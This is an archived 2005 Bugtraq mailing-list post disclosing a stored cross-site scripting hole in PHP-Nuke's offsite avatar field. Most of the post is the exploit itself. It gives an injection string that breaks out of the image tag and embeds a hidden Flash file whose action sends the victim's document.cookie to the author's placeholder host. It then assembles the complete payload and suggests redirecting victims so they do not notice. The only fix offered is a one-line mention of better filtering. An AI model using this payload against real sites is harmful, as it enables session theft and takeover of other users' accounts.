bugtraq - PHP nuke XSS vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20050624144718.25821.qmail@securityfocus.com>
Date: 24 Jun 2005 14:47:18 -0000
From: fjlj@....com
To: bugtraq@...urityfocus.com
Subject: PHP nuke XSS vulnerability

<strong>phP nuke exploit</strong>

<b>effects:</b>
all versions of php nuke

<b>solution:</b>
better filtering of offsite avatar selection.

in the avatar selection of the profile, u have the option of linking to an offsite image. this is the perfect place for an exploit.  

by placing this line of code into the box it will close the current img tag and hide it. 

<b>Code:</b> 
" width=0 height=0> 

after this code we will now call a specially crafted (not really) flash file from my web site. 

<b>Code:</b> 
<embed src=http://yourdomain.com/redirect.swf width=0 height=0>

this will view the swf and inside the swf is only one frame "an action frame" and the action will redirect your browser to a site on my page +document.cookie and in the cookie will be usernames and session ids. essentially enough to login as whoever it was. that code is

<b>Code:</b> 
geturl("javascript:location.replace('http://yourdomain.com/cookie.html?'+document.cookie)") 

in cookie.html u might as well put in a redirect to send them back to the home page or something, as long as they dont see your code. ;)

now our fullcode is 

<b>Code:</b> 
" width=0 height=0><embed src=http://yourdomain.com/redirect.swf width=0 height=0> 

now at the end we have to either start another img tag or close it so this is where i put my avatar 

<b>Code:</b> 
<img src=http://yourdomain.com/avatar.bmp 

this code will add my avatar and the default img tag ending will close it.  

our complete exploit code is 

<b>Code:</b> 
" width=0 height=0><embed src=http://yourdomain.com/redirect.swf width=0 height=0><img src=http://yourdomain.com/avatar.bmp 

what it will do 

1.)close the main img. 
2.)open your swf. 
3.)redirect them to your site
4.)log the cookie 
5.)redirect them back
6.)show an avatar! 

exploit found and written by FJLJ